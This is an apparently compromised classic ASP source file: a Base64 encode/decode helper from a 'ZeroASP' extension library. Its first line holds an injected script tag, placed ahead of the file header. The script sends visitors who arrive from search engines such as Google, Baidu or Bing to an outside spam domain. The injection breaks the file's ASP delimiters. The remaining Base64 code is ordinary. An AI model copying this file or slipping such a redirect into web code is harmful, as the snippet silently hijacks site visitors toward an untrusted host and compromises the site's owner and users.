d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Encrypt.Base64.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Encrypt.Base64.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Function Base64Encode(ByVal Str)
013:
dim Xml, Stream, Node, Encode
014:
Set Xml = Server.CreateObject("Msxml2.DOMDocument")
015:
Set Stream = Server.CreateObject("ADODB.Stream")
016:
Set Node = Xml.CreateElement("TmpNode")
017:
Node.DataType = "bin.base64"
018:
Stream.Charset = "UTF-8"
019:
Stream.Type = 2 '0 = AdStateClosed/1 = AdStateOpen
020:
Stream.Open()
021:
Stream.WriteText(Str)
022:
Stream.Position = 0
023:
Stream.Type = 1 '1=adTypeBinary/2=adTypeText
024:
Node.NodeTypedValue = Stream.Read(-1) '-1 = AdReadAll
025:
Stream.Close()
026:
Encode = Replace(Node.Text, Vblf, "")
027:
Encode = Replace(Encode, Vbcr, "")
028:
Base64Encode = Replace(Encode,"77u/","") 'base64编码后,比起.net多了77u/
029:
Set Node = Nothing
030:
Set Stream = Nothing
031:
Set Xml = Nothing
032:
End Function
033:
034:
Function Base64Decode(ByVal Str)
035:
Dim Val
036:
With Server.CreateObject("Msxml2.DOMDocument").CreateElement("TmpNode")
037:
.DataType = "bin.base64"
038:
.Text = Str
039:
Val = .NodeTypedValue
040:
End With
041:
With Server.CreateObject("ADODB.Stream")
042:
.Type = 1
043:
.Open
044:
.Write Val
045:
.Position = 0
046:
.Type = 2
047:
.Charset = "UTF-8"
048:
Base64Decode = .ReadText(-1)
049:
End With
050:
End Function
051:
%
>
052:
053: